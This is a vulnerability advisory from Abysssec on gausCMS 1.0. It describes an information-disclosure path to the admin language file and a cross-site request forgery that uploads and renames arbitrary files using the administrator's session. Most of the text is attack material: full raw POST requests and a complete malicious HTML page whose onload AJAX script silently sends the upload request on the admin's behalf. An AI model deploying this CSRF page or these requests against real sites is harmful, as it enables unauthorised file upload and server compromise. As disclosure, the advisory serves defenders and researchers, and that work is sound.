MOAUB

Abysssec Research

1) Advisory information

Title	: gausCMS Multiple Vulnerabilities
Affected	: Gaus CMS version 1.0
Discovery	: www.abysssec.com
Vendor	: http://www.gaustudio.com/gausCMS.html
Impact	: Critical
Contact	: shahin [at] abysssec.com , info [at] abysssec.com
Twitter	: @abysssec

2) Vulnerability Information

Class

1- **Access to Admin's Login and Information Disclosure**
2- **CSRF Upload arbitrary file and rename file**

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying application and server.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1- Access to Admin's Section and Information Disclosure:

With this path you can easily access to Admin's Login:

```
http://Example.com/admin_includes/template/languages/english/english.txt
```

Vulnerable Code:

```
http://Example.com/default.asp
 Ln 37:
Set oFile = FSO.GetFile(PATHADMIN & "admin_includes/template/languages/" & GUILanguage & "/" & GUILanguage &
".txt")
```

2- CSRF Upload arbitrary file and rename file:

With send a POST request to this path, you can upload arbitrary file of course by Admin's cookie and by CSRF technique.

```
http://Example.com/default.asp?dir=&toDo=uploadFile
```

For example you can feed this POST Request to Admin:

```
POST http://Example.com/default.asp?dir=&toDo=uploadFile HTTP/1.1
Host: Example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://Example.com/default.asp?dir=&toDo=uploadFile
Cookie: Skin=default; ASPSESSIONIDQSASTTBS=EIPNNJIAKDDEAGDKACICOBHJ
Content-Type: multipart/form-data; boundary=---------------------------287032381131322
Content-Length: 306
```

Message Body:

```
-----------------------------287032381131322
Content-Disposition: form-data; name="attach1"; filename="Test.txt"
Content-Type: text/plain
123
-----------------------------287032381131322
Content-Disposition: form-data; name="toDo"
Upload File
-----------------------------287032381131322--
```

With the same method we can rename files with following path:

```
http://Example.com/default.asp?dir=&file=Test2.txt&toDo=Rename%20File
```

For example you can feed this POST Request to Admin:

```
POST http://Example.com/default.asp?dir=&file=Test.txt&toDo=Rename%20File HTTP/1.1
Host: Example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://Example.com/default.asp?dir=&file=Test2.txt&toDo=rename
Cookie: Skin=default; ASPSESSIONIDQSASTTBS=IIPNNJIANIKOIKGOGOIKAJGE
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
```

Message Body:

```
newFileName=Test2.txt&toDo=Rename+File
```

Here is the Source of HTML Page (Malicious Link) for Upload Arbitrary file. With this page, we send a POST request with AJAX to upload a file with Admin's Cookie.

```
<html>
<head>
<title >Wellcome to gausCMS!</title>
Hello!
...
...
...
This page uploads a file

<script>

  var binary;
  var filename;

  function FileUpload() {
    try {
      netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
    } catch (e) {
    }

    var http = false;
    if (window.XMLHttpRequest) {
      http = new XMLHttpRequest();
    }
    else if (window.ActiveXObject) {
      http = new ActiveXObject("Microsoft.XMLHTTP");
    }

    var url = "http://Example.com/default.asp?dir=&toDo=uploadFile";
    var filename = 'Test.txt';
    var filetext = ' 123 ';

    var boundaryString = '---------------------------287032381131322';
    var boundary = '--' + boundaryString;
    var requestbody = boundary + '\n'
          + 'Content-Disposition: form-data; name="attach1"; filename="'
          + filename + '"' + '\n'
      + 'Content-Type: text/plain' + '\n'
          + '\n'
          + filetext
          + '\n'
      + boundaryString
      + 'Content-Disposition: form-data; name="toDo"'
      +'Upload File'
      + '\n'
          + boundary;

    http.onreadystatechange = done;
    http.open('POST', url, true);

    http.setRequestHeader("Content-type", "multipart/form-data; boundary=" + boundaryString);
    http.setRequestHeader("Connection", "close");
    http.setRequestHeader("Content-length", requestbody.length);
    http.send(requestbody);
    }
    function done() {
      if (http.readyState == 4 && http.status == 200) {
        //alert(http.responseText);
        //alert('Upload OK');
      }
    }
</script>
</head>
<body onload ="FileUpload();">
</body>
</html>
```